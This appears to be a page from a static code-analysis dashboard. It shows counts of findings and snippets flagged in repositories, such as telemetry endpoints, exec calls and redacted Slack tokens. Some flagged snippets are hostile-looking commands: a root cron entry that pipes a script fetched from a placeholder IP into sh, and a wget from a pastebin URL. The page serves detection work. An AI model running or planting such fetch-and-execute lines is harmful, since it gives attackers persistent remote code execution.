Code analysis
static source read inferred
Static code-analysis findings — hidden prompt content in shipped skill files, committed secrets, dynamic-exec sinks, and suspicious call-home endpoints — across the analyzed catalogue. Heuristic, pure, no code executed; every row deep-links to its source. Click a kind to filter.
50022 analyzed
8130 re-analysis due
988 not analyzable
0 not yet analyzed
4803 source gone
not analyzable
789 too large 199 no source
Running analyzer v33. The scanner changelog explains what each version detects and when it changed.
- hidden prompt 338
- committed secret 6177
- dynamic exec 11826
- obfuscation 3575
- suspicious endpoint 12346
- credential in log 713
- over-broad oauth scope 2548
- suspicious skill script 185
- bundled IDE extension 49
- skill file 187620
- MEDIUM suspicious endpoint cognilabz/cognibrain docs.datadoghq.com (telemetry)
ts_read", "incident_read"], "datadog", "https://docs.datadoghq.com/api/latest/monitors/", ["MEMORY_DATADOG_SITE", "MEMORY_DATADOG_API_KEY", "MEMORY_DATADOG_APP_KEY"]), - MEDIUM suspicious endpoint cognilabz/cognibrain docs.sentry.io (telemetry)
"project:read", "org:read"], "sentry", "https://docs.sentry.io/api/events/list-a-projects-issues/", ["MEMORY_SENTRY_ORG", "MEMORY_SENTRY_PROJECT", "MEMORY_SENTRY_TOKEN"]), - HIGH committed secret cognilabz/cognibrain Slack token
xoxb-a…(18 chars, redacted) - MEDIUM suspicious endpoint cognilabz/cognibrain app.posthog.com (telemetry)
{ name: "baseUrl", label: "PostHog base URL", env: "MEMORY_POSTHOG_BASE_URL", default: "https://app.posthog.com" }, - HIGH dynamic exec ibitato/MistralClient __import__()
conversations = __import__( - HIGH dynamic exec ibitato/MistralClient __import__()
module = __import__(module_name, fromlist=["*"]) - MEDIUM suspicious endpoint Aigen-Protocol/aigen-protocol 93.184.216.34
pub_ip_start = "https://93.184.216.34/" # public address; guarded via IP branch - MEDIUM suspicious endpoint Aigen-Protocol/aigen-protocol api.telegram.org
TELEGRAM_API_BASE = "https://api.telegram.org" - HIGH dynamic exec Aigen-Protocol/aigen-protocol eval()/exec()
exec(compile(src, f"<{fn.__name__}>", "exec", dont_inherit=True), namespace) # noqa: S102 - HIGH committed secret adanb13/cirdan Slack app token
xapp-1…(21 chars, redacted) - MEDIUM suspicious endpoint purroy/majordomo api.telegram.org
url = f"https://api.telegram.org/bot{token}/{method}" - MEDIUM suspicious endpoint purroy/majordomo api.telegram.org
url = f"https://api.telegram.org/bot{token}/{method}" - MEDIUM suspicious endpoint Juwon1405/agentic-dart 1.2.3.4
"*/5 * * * * root curl https://1.2.3.4/x | sh\n" - MEDIUM suspicious endpoint Juwon1405/agentic-dart pastebin.com
"data_url": "https://pastebin.com/raw/abc123", - MEDIUM suspicious endpoint Juwon1405/agentic-dart pastebin.com
"wget https://pastebin.com/raw/abc\n",